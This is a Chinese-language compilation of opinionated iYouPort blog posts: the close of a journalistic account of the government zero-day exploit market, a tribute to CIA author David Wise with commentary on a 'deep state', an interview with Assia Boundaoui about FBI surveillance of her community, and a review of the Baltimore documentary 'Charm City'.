在这个极其复杂的交易结构中，每一步都依赖于信任和默契。政府必须信任承包商，以提供一个有效的零日；承包商必须相信中间人和黑客不会在他们自己的逃亡过程中炸毁这个漏洞，或者将其转卖给“我们最可怕的敌人”；黑客们必须相信承包商会付钱给他们，而不只是拿着他们的演示去开发他们自己的变种bug。这些是在比特币出现之前，有些款项是通过西联汇款支付的，但大多数是用现金支付的。

不论如何你也无法想象出一个效率更低的市场了。

这就是为什么在2003年，萨比恩注意到 iDefense 公开向黑客支付漏洞费用，并打电话给 Watters。

对于像 Watters 这样的商人来说 ，他正试图将该市场推向公开化，承包商的行为是愚蠢的，甚至是危险的。

“没有人愿意公开谈论他们在做什么”，Watters 回忆说，“整个都是这种神秘的空气。但市场越黑暗，效率就越低。市场越是开放，越是成熟，就越是买家当家。而他们却选择在潘多拉的盒子里工作，价格就一直在涨。”

到2004年底，其他政府和幌子公司又有了新的需求，他们都在不断抬高漏洞的价格，让 iDefense 难以竞争。

随着市场的蔓延，让 Watters 感到困扰的不是市场对 iDefense 的影响，而是越来越多的全面网络战的可能性。“这就像在一个不受监管的市场中拥有网络核弹，可以在世界上任何地方买卖，而不需要斟酌”，他告诉我。

冷战时代的确定性—— 及其令人不寒而栗的平衡—— 正在让位于一个巨大的未知的数字荒野。你不太确定敌人会在哪里出现或何时出现。

美国间谍机构开始越来越多地依赖网络间谍活动来收集尽可能多的对手和盟友的数据。但这不仅仅是间谍活动。他们还在寻找可以破坏基础设施的代码，破坏电网。渴望贩卖这些工具的承包商的数量开始每年翻倍，萨比恩说。

大型承包商—— 洛克希德·马丁公司、雷神公司、诺斯罗普·格鲁曼公司、波音公司—— 都无法快速雇佣网络专家。他们从情报机构内部挖人，并收购了像萨比恩这样的小店。这些机构开始从目录中采购零

日漏洞，由法国蒙彼利埃的一家零日经纪人Vupen提供，该经纪人后来改名为 Zerodium。它在离最好的客户更近的地方开店，并开始在网上公开发布价目表，对远程入侵 iPhone 的尝试性方法开出高达100万美元（后来是250万美元）的价格。

“我们支付的是**BIG**赏金，而不是**BUG**赏金”，口号是这样的。前国家安全局的操作员也开始了自己的业务，如 **Immunity** 公司，并培训外国政府的贸易技巧。

一些承包商，如 CyberPoint，把他们的业务安置在海外，驻扎在阿布扎比，在那里，阿联酋人奖励前美国国安局黑客丰厚的金钱，以打击它的政敌，不论是真实的还是感知的。很快，像 **Crowdfense** 这样专门卖给沙特人和阿联酋人的零日交易商，就开始比 **Zerodium** 出价高出一百万美元甚至更多。最终，这些工具会都被转向瞄准美国人。

- 在这里看到这个故事《一个新的战争时代：互联网雇佣军如何为威权政府而战》

等到2015年萨比恩同意和我见面时，该市场已经难以避免。“在90年代，只有一个小社区的人在从事开发和销售零日。而如今，它是如此的商品化。它已经飞起来了。现在 —— 他用手指比划了一个宽大的圈——“我们被包围了。这一行有一百多家承包商。”

该市场在美国机构中的分布并不影响萨比恩。让他感到不安的是它在国外的蔓延。

“每个人都有自己的敌人”，他告诉我，“即使是你永远不会怀疑的模范式国家也在储备漏洞利用，以备不时之需。大多数人这样做是为了保护自己。但是，很快有一天”，在我们起身离开时他说，“他们知道自己可能需要主动出击。”

“继续前进吧”，他告诉我，“你已经到这了。这不会有好结果的。”

就这样，他走了。〇

原文

隐形政府：走进间谍的世界 - iYouPort

免费书和纪录片地缘政治

美国有两个政府：一个在公民文本中，另一个在现实世界里。中国人拥抱的是前者，而真正发挥作用的是后者 ..... 谨以本文致敬第一位深刻揭露“隐形政府”的已故 CIA 专家 David Wise 🐾 走进间谍的世界 (还有中国间谍的故事)

「图」

「图」

David Wise 是一名记者和作家，为美国最大的情报机构 CIA 撰写关于该机构内幕的书籍。David Wise 于 2018 年 10 月 8 日在华盛顿一家医院因胰腺癌去世。享年 88 岁。

Wise 曾是早期纽约先驱论坛报的记者，该报于 1958 年将他分配到华盛顿办事处。他最为人所知的作品是他对 spycraft 世界的诸多内容丰富的报道—— 撰写了10多本关于冷战时代及前期的非虚拟类书籍，以及三部小说。

他的第一本最畅销的书就是“ 隐形政府 ”，与记者 Thomas B. Ross 于 1964 年一起撰写，Wise 先生记录了关于情报机构的过度行为，包括中央情报局及其在20世纪50年代在伊朗和危地马拉的精心策划的政变中所发挥的作用。

“我们非常强烈地感到美国有两个政府：一个在公民文本中，另一个在现实世界里，”Wise 先生在1988年对“纽约时报”说。“我们认为情报机构对我们的安全很重要。但是，当被统治者完全不知道自己同意了什么时，我们对这种制度深感不安。“这显然已经不是民主了。公民投票选举出的是书本上的“政府”，而实际上操弄政治的人从未通过公民的允许。

总统只是一张照片，负责向所有选民微笑，让人们对政治感觉放心，并接收人们的信任；当事件变糟时，总统负责发怒，并呼喊“彻底调

查”的口号；而 Wise 的揭露告诉了所有人：究竟谁才是真正的掌权者，谁在暗中做决定，为什么至关重要的问题被不了了之，为什么追责如此艰难 ……民主究竟遭遇了什么？

有些人认为这不是“首次”，而是“第二次”对情报机构真实属性的曝光，美国史上的第一次被认为是 Andrew Tully 的 “The Inside Story”（1962）。但我们认为 Wise 的“隐私政府”这本书的伟大在于，它真的提供了大量从未出现在任何公共领域的、无比珍贵的内幕信息。

揭露隐形政府的 Wise 自己也遭到了来自隐形政府的审查和封锁。在“The Invisible Government”这本书接近出版之时，中央情报局偷偷地获得了一份副本，并召集作者与该机构的主任 John A. McCone 会面。当时的中央情报局局长约翰·麦科恩（John McCone）打电话给 Wise 传唤，两名主笔 Ross 和 Wise 被告知他们的书是“危害国家安全”的。中国读者对这顶大帽子肯定非常熟悉了。

两位作者被出示了10个标有“最高机密”的文件包清单，并被告知：“中情局总部不允许这些信息被公开”。就如中国读者所熟悉的，只要权力不喜欢的行为均可被标注为“危害国家安全”；而作为隐形政府的情报机构连一本书都会害怕。

两位作者说，书中的所有信息都来自未被机密化的公开来源，并且他们打算在不做任何改动的情况下出版他们的书。经过一番长久的犹豫，McCone 的一名助手拿起一把剪刀从页面上剪下了那个“Top Secret”的字样，Ross 和 Wise 先生方得离去。

然而这并不是结束。

“我后来根据”信息自由法案“获得了部分档案，才了解到，情报机构已经为我分配了一整套”特遣部队“，这是 1981年 Wise 对华盛顿邮报说的，被曝光的档案显示，情报机构曾经私下研究如何通过伪造差评让这本书及其作者失去信誉；并且他们还进行了一项法律研究，想看看他们是否可以通过合法渠道买走第一次印刷的全部书籍……

而中央情报局的法律顾问称这本书中的内容“非常准确”。Wise 先生后来说，因为他的主要消息来源之一是中央情报局前任主任 Allen W. Dulles。

「图」

「图」

40多年来，Wise 几乎一直在撰写书籍—包括三部小说—充分揭露了情报机构这一隐形政府的策略、失误和危险。就如记者 Evan Thomas 在纽约时报专栏上的评价：这本书是了解情报机构的最佳来源，Wise 显然是一位知识渊博的作者。

最早在 20 世纪 70 年代，Wise 先生就在他的著作《谎言政治、保密和权力》以及《美国警察国家：政府反人民》中警告说：个人自由和公共责任正在受到侵蚀。

- 《**The Politics of Lying: Government Deception, Secrecy, and Power**》揭露的是：为什么世界上最强大的民主政府却认为有必要误导自己的人民。这是第一本展示政府欺骗、官方保密和权力滥用如何导致了人民与政府之间信任受损的著作，详细介绍了庞大的公共关系机器、以及新闻压力是如何暗中操作的。它以前所未有的细节揭示了“保密制度”的运作方式（也就是在中国众所周知的“国家机密”），并揭示了即使是国会也不可能被告知的隐情；
- 《**The American Police State: The Government Against the People**》揭露的是：CIA, FBI, IRS 如何在七届政府中使用非法行为监视公民—— 出版于1978年的这本书比 Snowden 文件早了三十多年。

后来，他记录了间谍游戏不断搜索“鼹鼠”（也就是“内部叛徒”）的内幕（中国人应该很熟悉这事，就是所谓的抓特务）。在 1992 年的《鼹鼠：秘密搜索破坏中央情报局的叛徒》这本书中，他展示了中央情报局反情报局长 James J. Angleton 的偏执倾向如何破坏了数十名情报人员的职业和声誉；密切关注中央情报局对其敌人、以及最终对自己的工作人员，进行的拜占庭式思想斗争游戏。

在1995 年出版的 “Nightmover”中，Wise 记录了关于 CIA 笨拙的努力以挖掘一名“鼹鼠”的故事，后者原来是 CIA 军官 Aldrich Ames。在1994年被捕之前，Ames 已经为在苏联和俄罗斯开展的间谍活动收集了约 460 万美元。

2002年，Wise 发表了权威级的著作《间谍》，讲述中级联邦调查局特工 Robert Hanssen 多年来在向俄罗斯传递秘密时如何摆脱了检测（目前 Ames 和 Hanssen 都在联邦监狱里服刑）。

多年前，Wise 追踪了另一名间谍，Edward Lee Howard，直到目前

他依旧是唯一逃离美国并叛逃到当时的苏联的中央情报局官员。有着毒品和酒精问题以及小偷小摸历史的 Howard 于 1983 年被中央情报局解雇，就在他前往莫斯科之前。

Howard 最初搬到了新墨西哥州，在那里他因怨恨而畏缩，并在 1985 年逃离美国之前被监视了两年。Wise 能够通过他留在美国的妻子联系到 Howard，并在布达佩斯遇见了他本人。

他俩连续交流了六天，并拟定了《The Spy Who Got Away》这部作品的基本框架。在那本书中，Wise 描述了 Howard 的不安全感，他对老板的愤怒—以及他在中央情报局学到的一些策略，比如如何在不会被发现的情况下跳出行驶中的汽车。（提示：首先，断开刹车灯）

在一个现实比小说更惊骇的时代，Howard 描述了他的逃生经历，说他登上了图森去纽约的航班。当他坐下来时，一个身材魁梧的大个子坐在了下一个座位上，突然，Howard 说他觉得飞机上的每个人都在盯着他看。

他的同座竟然是美国演员 Lee Marvin。他们开始交流，讨论 Tom Clancy 的间谍惊悚片“狩猎红色十月”。

“我还向他要了亲笔签名“，Howard 告诉 Wise。

在布达佩斯与 Wise 先生会面后，Howard 回到了俄罗斯，并在那里于 2002 年去世，公开消息说他是因为从楼梯上摔下来受了重伤不治……享年只有50岁。

一个能跳汽车的前间谍，居然能从楼梯上摔下来？还把自己摔死了？50岁可不是80岁。

David Wise 于1930年5月10日出生在纽约市。他的母亲是一名歌手，他的父亲是一名律师。

记者和作家 Richard Kluger 赞赏 Wise 能巧妙地培育出内幕信息源的能力：“那些间谍中最好的信息源是中低档官员，这些人相比下更渴望分享令人尴尬的内幕消息—一级官僚通常没有这种野心，不是因为中低档官员对上级的怨恨或与政策有关的分歧，而是因为这其中能获得一种影响历史的快感。”

鉴于我们此前对“透明度革命”中著名爆料人的身份研究，足够信任这一逻辑是真实存在的，即 你不可能游说高级官员说真话，就算他们自己面临仕途危机时需要自保，他们也不太可能透露绝对真实的内容，

因为保密和曝光对他们来说都是同样的重量级自保筹码。

1963年，在华盛顿工作了五年后，Wise 被任命为局长，到1966年“先驱论坛报”被合并时仍然担任该职位。他还是一本受欢迎的大学教科书《压力下的民主》的合著者，与作家 Milton C. Cummings Jr. 合作；《美国政治制度概论》自 1971 年首次出版以来已经历了10次再版。

普利策奖获奖记者 **Seymour M. Hersh** 在**1974**年就曾指出：中央情报局在监视美国公民，违反联邦法律。HIAh 说，当中央情报局官员开始恐吓他时，他接到了 Wise 先生的一个令人放心的电话，Wise 用密语对他说：“Sammy the fish peddler says you’re okay.”

Hersh 感慨地评价到：“你无法做出他[Wise]那样的报道，如果你没有内线的话”。

目前 Wise 家还健在的成员包括他55岁的妻子、华盛顿 AARP 退休总法律顾问 Joan Sylvester；一个儿子，在华盛顿的 Jonathan Wise ；还有 一个兄弟；和三个孙子。他们另一个儿子 Christopher Wise 于 2004 年去世。

「图」

「图」

2011年，Wise 发表了**“Tiger Trap**：美国与中国的秘密间谍战**”**，讲述了华裔双重间谍 Katrina Leung 的故事，当时他与两名联邦调查局特工同时负责对中国的反间谍活动。

您可以在这里下载这本书：https://t.me/iyouport/6693

几十年来，在美国一直痴迷于苏联间谍时，中国已经悄然渗透到了最高级别的政府。现在，基于对联邦调查局和中央情报局的重要内部人员、以及中国特工及其亲近人士的多次采访，Wise 在这本书中讲述了中国在美国间谍战中取得的许多胜利和许多失败的全部故事。

两个关键案例交织在一起：代号为 Parlor Maid 的 Katrina Leung，多年来一直为 FBI 工作，甚至在她成为中国的秘密双重间谍之后；代号为 Tiger Trap 的案件内幕也是一名涉嫌窃取核武器机密的中美关键科学家。这两起案件引发了许多其他案件，涉及从 Wen Ho Lee 和到 Richard Nixon 等一众著名人物，揭示了惊人的国家安全漏洞和复杂的间谍网络。这个故事也将我们带到了现在，西海岸的间谍团成员在

2010 年被判刑；但随着中国对美国的针对加强，它肯定会在未来数年内继续存在。

David Wise 描写的中国间谍史在美国的间谍战中的表现充满了令人瞠目结舌的启示。

> *“David Wise has done it again. This time it’s China. He’s taken us deep into the American efforts to root out Chinese spies here and abroad. As always, Wise is the master—writing with clarity and style abou thte murky and consequential underworld of nuclear espionage.”—Tom Brokaw*

Wise 在他去世前不久完成了最后一本书：“The Seven-Million Dollar Spy”（还没有看到上架的消息）。

在 20 世纪 80 年代，他发表了三部间谍小说，他说，这些小说与他的非虚构类书籍几乎一样经过了仔细的研究。他写到了激光束步枪、可以承受60英里每小时正面冲撞的卡车车队、还有毒镖上的贝类毒素……

“几乎所有詹姆斯邦德的书都是真实的，”Wise 先生在1981年告诉“邮报”。他发现一些东西“在虚构作品中比在现实世界中更好”—比如猫间谍。

“如果你把发射器隐藏在一只猫身上，它就会成为完美的窃听者。也许猫就坐在嫌疑人的腿上。谁会怀疑一只猫呢？嗯，事实上，我会。我有两只猫，我非常怀疑它们。“

> *David Wise is/was the one of the Edward Snowden’s of his generation. He writes at length about the tactics that Republican Party, and Nixon, went to bug the Democrats at the Watergate. It talks about the forms of listening and personal intrusion devices that were available at the time. Sound familiar? He was also one of two reporters that broke the U2, Francis Gary Powers thing in the early 60’s.*

在“独立宣言”中有这样一句话：“所有人都被他们的造物主赋予了某些不可剥夺的权利……”但要知道，这些权利并非来自政府的施舍。政府无法给予人民任何先前没有被他们抢走的东西。

如果您认为 Wise 笔下记录的“只是冷战时期的故事”，那么请继续阅读下面这篇文章的摘要，它来自《United States overseas operations: Role of CIA》，作者 Jacob G. Hornberger 是自由未来基金会的创始人和总裁。他在德克萨斯州担任了12年的审判律师。他还是达拉斯大学的兼职教授，在那里他教授法律和经济学。1987年 Hornberger 离开了法律领域，成为经济教育基金会的项目主任。您可以在上面链接中阅读全文，也可以在下面阅读中文版摘要。

「图」

「图」

特朗普已经屈服于五角大楼、中央情报局和国家安全局的势不可挡的力量，宣布他决定无限期地将美军留在叙利亚，从而放弃了他去年3月宣布的将美军带回家的意图。当然，将军队保留在叙利亚一直是国家安全机构自总统任期开始以来一直在要求特朗普做出的立场。

美国政府在叙利亚有什么业务？没有。就像在伊拉克，阿富汗，利比亚，越南，韩国，尼加拉瓜，格林纳达，巴拿马等国家一样，没有业务。但是他们需要战争。这就是军事情报机构所控制的政府结构下的生活：它发号施令，预计其他所有人—总统、国会、司法机构和美国人民—将在联邦政府结构内和美国社会中屈服于这种压倒性的权力。

强烈推荐的一本书：塔夫茨大学法学教授 Michael J. Glennon 的“国家安全和双重政府”。完美地阐述了这个问题。是国安机构—今天的 deep state—在负责联邦政府。只要其他三个分支认可它正在发号施令，它就允许其他三个分支保持控制局面的*外观*。也就是说，是五角大楼、中央情报局和国家安全局在发号施令，不是华盛顿。

事实上，韩国人也在他们自己的国家发现了这种现象。韩国总统文在寅和金正恩一直在进行谈判试图达成和平和令人满意的解决内战方案。在此过程中，他们同意共同合作，在两国之间开通火车。很久以前就铺设了这些铁轨，很久以前就建成了沿途的火车站。现在，让这列火车跑起来只是一个后勤问题。

但是，它跑不起来的。为什么不？出于同样的原因，就像特朗普不会将美军撤出叙利亚一样，因为五角大楼对韩国说不，就像它对特朗普说不。以下是“纽约时报”对此的报道：“上个月，首尔的美国军事指挥官阻止了韩国计划在韩朝边境试运营火车的计划 ”……

看起来很荒唐吗，究竟是谁在负责韩国的政策？韩国政府还是美国军

方？答案显而易见：是美国军方在负责，就像在美国他们控制华盛顿。与特朗普一样，韩国总统接受了美国国家安全机构的命令。这就是为什么南北朝之间的火车没有运行的原因。

看看这些国家安全机构在整个联邦官僚机构中延伸其触角的程度吧。一名将军，而不是人民，是国防部长；中央情报局局长被任命为国务卿；将军是白宫办公厅主任；联邦调查局局长被任命为特别法律顾问；国会中心的CIA资产、主流媒体……等等一系列；大量军队和中央情报局的老兵竞选国会；许多城市和州都非常依赖军事基地和项目……

最后申明：我们不是在关注白宫或哪一个政府，而是希望能通过对我们崇敬的真相信仰者 David Wise 的怀念，揭示一些有可能尚且不为中国读者所充分了解的政治运作模式，它一直在披着民主的外衣，享受着专制的大宴。获得真正的民主需要公民认识到、并防备这种局面的发生。这就是 Wise 教给我们的最珍贵的东西。〇

原文

高明的反抗 [video] - iYouPort

免费书和纪录片

反抗真的需要很多智慧、很多技术技能，只有智慧和技能才能让你获得成功。对于长期遭受压迫的人们来说，这已经不是某种精进或提升，而是基本生存能力。当当权者胁迫你的家人以令你停止揭露真相时该怎么办？当人们由于害怕而默默忍受不敢反抗时该怎么办？当政府的信息自由法案形同虚设、根本没有透明度时，如何让被操纵的文字说出真相？

很多主流媒体和付费学者将斯诺登揭露的大规模监视解释为“9/11所激化的”，这在很大程度上暗示了1984的“合理性”。然而，记者 Assia Boundaoui 揭示了美国最大的联邦调查局秘密深度监视之一，它发生在**9/11**前很多年。

被偷窥的感觉令人不安；它会刺激你的中枢神经，让你过于自我意识，并迫使你撤退。想象一下，在整个童年时期是什么在盯着你？—— 不仅仅是你父母的目光，还有联邦调查局。

这正是芝加哥布里奇维尤的景况，穆斯林电影制片人 Assia Boundaoui 就是在那里度过了她的童年。FBI 深信在该社区的监视行动中“取得了一定的成绩”，他们发起了 Vulgar Betrayal 行动并制作了33,120页的调查。事实上 **FBI** 什么也没找到，他们只是令整个社区长期处于被当局掐紧脖子的窒息中。

直到 Boundaoui 上大学，她才意识到生活在 FBI 不停巡逻并经常传唤居民的地区有一些非常奇怪的事发生。她恰当地将她的纪录片命名为“The Feeling of Being Watched”，旨在揭示联邦调查局的行为，以及间谍活动对不同宗教社区的深远影响。

Boundaoui 将镜头带到邻居的房子、她母亲的餐桌上，并在她长大的街道上讲述了一个鲜为人知的故事：关于生活在一个以“自由”而闻名的国家里少数族裔社区究竟经历了什么。

在伦敦人权观察电影节放映之前，Boundaoui 通过电话向 Huck 讲述了如何治愈被其政府如此广泛破坏的社区。在这里看到该片的片段视频：

你还记得什么时候开始意识到你的社区中这种常态化的监视实际上并不正常吗？

我一直都知道，虽然不记得有人告诉过我，只是关于我的生活环境的一种感觉。在我上大学之前，我并没有真正把它视为一种奇怪的体验，也许人们会说“奥，这是一种奇怪的成长方式”。而对于我来说，似乎是某种下意识的习惯，比如我打电话回家，某些话/名词 是绝对不会在电话里面说的。

甚至在 Bridgeview 之外的其他地方，我的生活方式也一直在遭受很多审查。我们中很多人都是这样长大的 —— 一直小心翼翼的、拼命地避免自己在电话中说出某些话，一直在审查自己，但是没有仔细想过这是为什么。

这部电影就是对这种行为的调查和对个人内心的挖掘 —— 为什么我会下意识地这样做？为什么社区中的人都是这样的？

随着拍摄的继续，你的工作变得更加困难 —— 尤其是联邦调查局特工 ***Robert Wright*** 追踪你。当你开始这项工作时，你有没有想过你的工作会如此影响你的生活？

我没想到会发生这种事，这是影片中最恐怖的时刻，当我意识到我所做的工作可能 —— 以非常重要的方式 —— 对我的家人和母亲产生不利影响的时候。间谍 **Robert Wright** 居然找到了我母亲，他居然没有直接来找我而是胁迫我的家人，这是非常令人沮丧的。

感觉就像是在嘲笑一个沉睡的巨人，在那一刻 —— 当我的 Gmail 和 Google Drive 遭到黑客攻击时 —— 就像巨人醒来了一样，我意识到我正在做的事的严重性。

我正在深入研究这项非常大规模的秘密政府监视活动，但他们的监视并没有成功，反而导致了整个社区的集体创伤。

讲述这样的故事会带来固有的风险，此时，我意识到我不能单独完成这项工作了，获得社区的支持非常重要。

你觉得间谍 *Robert Wright* 的目的是什么？你认为他是在试图让你感到不安吗，迫使你停止拍摄？

我认为这是一种恐吓手段。他想让我意识到他知道我在做什么。而且，他想让我意识到他不仅知道我住在哪里，还知道我母亲住在哪里。

这显然是一种恐吓行为，我觉得我能做的最好的事就是继续拍摄、并表明这也是我们为了揭露真相而遭遇的过程的一部分。在那些时刻，我感觉就像我拥有的唯一力量就是手里的这台相机，它能够记录发生的一切。

为什么说 *FBI* 的秘密监视令社区/人变得偏执？这一想法来自哪里？

它来自阅读大量历史文献。 **COINTELPRO** 是联邦调查局对独立民权组织和黑人权力运动的秘密监视。它涉及的最著名部分是对 **Martin Luther King** 和 **Malcolm X** 的监视。40年后，许多修订已经过期，结果是在 COINTELPRO 记录中，F**BI** 非常明确地说，他们调查民权运动的目的就是破坏这些组织。

这是非常疯狂的，因为那时你意识到它实际上并不是关于犯罪的，它是关于某些公民社区，FBI 认为是“[对政权]构成威胁“或者“不那么美国“。

联邦调查局使用非常具体的策略对付 Black Panthers，使他们变得偏执，以便主流媒体可以大大方方地认为他们“是偏执狂的人”。这是 FBI 在美国历史上抵制某些公民社区所惯用的策略。所以，我甚至不认为这种偏执存在 —— 它是基于历史记录的。

「图」

「图」

感觉这部纪录片有双重目的 —— 一个目的是让联邦调查局负责，第二个目的是让社区发表意见。你是否发现人们在看完纪录片后倾向于更多的表达自己的遭遇？

几个月前，我们在芝加哥进行了一次免费的社区放映，有超过500人参加，这真是太棒了。很多时候，当我们谈论穆斯林社区的监控威胁时，我们会从法律和民权的框架去谈论它，但我们很少谈论实质性的创伤。

这次不同。在这些聚会上，我们让治疗师做现场问答、为精神卫生工作者提供便利。我们的想法是围绕这个问题构建事件：这对集体和个人的创伤有何影响？而且，愈合的过程看起来会怎样？

对于人们来说，拥有一个能让他们可以公开谈论这种情况的空间真的具有变革性。联邦调查局从保密中获取权力，而曾经，我们的恐惧和失声在帮助他们继续保密以巩固权力。现在不同了，我们正在大声地说出来，认识到你并不是唯一一个经历这种恐怖的人，你不必独自一人忍受这一切。

我喜欢*“no chai for the FBI”*这个短语，但是伊斯兰社区一直认为他们必须“礼貌”美国人才能喜欢他们，这是非常严肃的观点。你们这一代人是不是倾向于拒绝以这种方式行事，并准备作出改变？

是的，我确实认为这是两代人之间的差异。我们的移民父母对此坚持了很长一段时间，那代人有一种尊重政治，这意味着，如果你能证明你可以很好地贴近美国主流社会，那么你就会获得你的权利。否则就不能。

我认为我们这代人并不尊重这种方式 —— 我们对我们的身份和对公民权利的坚持更加积极和不隐瞒。我认为我们更有资格获得美国公民身份，我们应该被视为平等的美国公民。

当然，你现在已经发布了所有这些 *FBI* 秘密文件，但还有很多工作要做 —— 一旦你拥有*33,120*页文件，你想采取什么步骤？

我为了争取透明度而去了法庭，我得到了这些记录，但是其中70%的部分被编辑过，这在很多层面都是令人愤慨的，因为这实际上根本不透明。

我在麻省理工学院纪录片实验室工作的项目是一个人工智能算法，可以帮助推测出编辑背后的内容。

40年后，我们有了数十万页的黑人 /日本裔/拉丁裔等社区的秘密监视记录。因此，我们将它们用作我们的数据集，以帮助查看文档中的编辑背后的内容。

这不是一个普通的纪录片项目，它揭示了当政府不给我们透明度时，我们可以如何利用技术来强制政府记录呈现出透明度。它将帮助我们理解 FBI 破坏社区的模式，并为我们提供关于这些黑洞背后的预测性答案。

反抗真的需要很多智慧、很多技术技能，只有智慧和技能才能让你获得成功。对于长期遭受压迫的人们来说，这已经不是某种精进或提升，而是基本生存能力。如何获得这一能力，详见顶部菜单中

的“Survival Skills”部分 —— IYP 长期提供这类知识。

What it’s like to grow up under FBI surveillance? Feel like you’re being watched? After investigating rumours of surveillance in her Arab-American neighbourhood, journalist Assia Boundaoui uncovered one of America’s largest pre-9/11 FBI terrorism probes.

原文

魅力城市：对反抗精神的记录 - iYouPort

免费书和纪录片

反抗总是令人兴奋的，当它被记录和传播时更是如此。找到适合你和你的社会的反抗方式非常重要，并且跨界合作：活动家、思想家、技术专家和艺术家。推荐一部纪录片，关于如何记录反抗

「图」

「图」

玛丽莲·尼斯（Marilyn Ness）强大的新 PBS 纪录片“魅力城市”（Charm City）是对美国马里兰州巴尔的摩市最致命的城市生活扣人心弦的写照。通过访谈和证词，它讲述了公民“暴力终极者”的故事，他们冒着生命危险阻止杀戮。该片提供了受害者指责的替代方案，并不是那种通常在媒体上描述的“犯罪”叙述，并为那些受到城市无休止暴力循环影响的人们的生活带来了一丝光明。

“魅力城市”拍摄于巴尔的摩历史上最致命的年份，不久之后 Freddie Gray 在警察拘留期间被杀害，年仅25岁。这起死亡事件引发了群众示威活动，并促使许多人质疑为什么这么多的黑人被警察杀害。

Ness 得到巴尔的摩警察局的许可，与其警官一起入驻。她得到了第一手镜头，记录了那些官员日复一日地官僚式回应杀害事件，没有任何变化。Ness 说，警察每天都去上班，并被要求处理“长期的经济和社会问题，如失业、无家可归、贫困、暴力、代际暴力和创伤……以及[他们]想知道为什么我们无法解决这个问题。” Ness 说她有一篇 2016 年的 Waging Nonviolence 文章，名为“Policing isn’t working for cops either” 在她的公告栏上。

警察局目前正在接受联邦政府的法令，今年有**8**名警官被判处数十年的监禁，罪名是多年来劫掠和偷窃平民而不受惩罚。“Charm City”不会像最近的 HBO 纪录片“起义”那样美化巴尔的摩警察局。那部电影在评论中被直接淘汰了，因为它展示了一名侦探，调查了 Freddie

Gray 的死讯，并庆祝被指控杀害他的同事无罪释放。

相反，Ness 的作品显示该州的律师通过电话告诉一名官员，他们正在对嫌犯提起诉讼，因为警方非法搜查了他的财产。这个年轻人在电影后期因另一项涉嫌犯罪而被逮捕。

影片还探讨了该市低收入的非裔美国人口所面临的历史性结构性障碍，涉及不公正的住房法、长期失业、不公正的警务待遇等。“漫长的历史就是让我们来到这里的原因，”Ness 谈到了这座城市的暴力流行病，“也许我们可以从根本上解决这些问题。”

主角包括 Clayton Guyton（C先生）他是前修正官，二十年前辞去了他的工作，成立了玫瑰街社区中心。在巴尔的摩东部世界著名的 Johns Hopkins 医院附近，该中心帮助将当地居民与工作和社会服务联系起来 — 以及在冲突升级为暴力之前解决冲突。

在一个开幕式场景中，Guyton 在社区中心的台阶上举行演讲，由十几名年轻人和中年男子包围着，他敦促非暴力原则，并且要求对那些伤害无辜生命的人追究其行为的责任。

在基本层面上，Guyton 说他希望这部电影能够展示“那些有价值的人”，并鼓励他们“善待你想对待的人”。他还认为需要政策变革来应对危机。“我确实相信，如果政府的人开始倾听当地人的意见，他们就可以在政策中实施他们学到的东西，而且会有所作为，”他说。

在这里看到这部片子的节选：

我们还会见了C先生的门生 Alex Long，他克服了巴尔的摩年轻人和作为黑人成长的巨大挑战。他的父亲是枪支暴力的受害者，他和他的妹妹在寄养中长大。“与今天的大多数孩子相比，我的生活很轻松，”他说，“这告诉我，我们真的需要把注意力集中在我们的年轻人身上，这样才能理解他们真正面对的是什么。”

这部电影显示他回馈社区中的年轻人：帮助缓解经常导致暴力或谋杀的纠纷，清理社区，帮助C先生为当地社区成员提供就业机会。

长期被警察骚扰，包括目睹他的家人受到警察的不公平拦截和骚扰。在电影中最令人心碎的那一刻展示了，即使是一生致力于防止杀戮的他也在枪支暴力中失去了自己的亲人。然后，他质疑为什么政治家和警察拥有所有资源，却无法保证人们的安全。他说这部电影已经产生了影响，因为巴尔的摩警察局已经开始使用它来培训人员，人们可以

希望警察不再那样对待平民。

“Charm City”也进入了权力的大厅，展示了试图从内部改变系统性问题的挑战。在一个场景中，市议会主席 Jack Young 要求对警察部队进行一定程度的问责，警察经常超过其5亿美元的预算。这个城市在警务方面的支出高于社会服务，如学校和医疗保健。

无论如何，请求已获得批准。当提出“强制性最低限度”枪支法来遏制致命枪击事件的激增时，议员 Brandon Scott 表示反对，说它会弊大于利，因为它会增加监禁，而不是解决暴力的根本性方法。

Scott 还将警察和城市青年聚集在一起，以帮助建立两个群体之间的理解，这两个群体往往充满矛盾 — 在 Freddie Gray 去世后某些东西被带到起义的最前沿。

现在巴尔的摩与其历史上的暴力流行病很难分开。即使电影开始以强大而有意义的方式探索这些主题，它也可能更深入。例如，巴尔的摩在一个世纪前开创了种族隔离，并且隔离是不平等的。非洲裔美国人基本上被降级为贫民窟般的住房条件，学校也很糟糕。

非洲裔美国人只有一所高中 — Frederick Douglass 高中 — 直到20世纪40年代才为整个城市服务。在20世纪30年代，联邦政府创建了一个地图，给黑人居住区划红线。今天，这张地图是集中贫困和暴力的最严峻预测指标。大多数非裔美国人居民被剥夺了获得公共住房补贴和联邦政府担保的住房贷款的机会，这些住房贷款由白人中产阶级创建。

相反，政府将非洲裔美国人隔离在糟糕的社区里，否认他们有机会获得政府支持的白人财富建设机会。正如学者 Richard Rothstein 在他最近的著作“法律的颜色”中所论证的那样，因为这些政府政策具有种族歧视性，因而违宪，它们需要政府作出整治，而不仅仅是已经提出的补救措施。

哈佛大学在2015年的一项研究发现，巴尔的摩是社会流动性方面成长最差的城市。今天，白人居民的收入是黑人的两倍，并且预计比低收入黑人平均寿命长**20**年。在全国范围内，白人家庭拥有的财富是非洲裔美国人的**16**倍。

虽然这些历史性的不公正对于理解为什么巴尔的摩受到创纪录的暴力和绝望的影响至关重要，并且可能在电影中受到了更多的关注，但它也确实表明了人们正在积极的组织和反击。通过展示这场斗争，并让

人们面对令人痛苦的伤害记忆，“魅力城市”这部电影应该受到有关公民和政策制定者的重视。

‘Charm City’ highlights those striving to curb Baltimore’s violence epidemic: While these historic injustices are essential to understanding why Baltimore is gripped by record violence and hopelessness, and could have received more attention in the film, it does show that people are organizing and fighting back despite immense odds. By showing this struggle, and putting a human face on the heart-wrenching toll it inflicts, “Charm City” should be taken seriously by concerned citizens and policy makers alike.

原文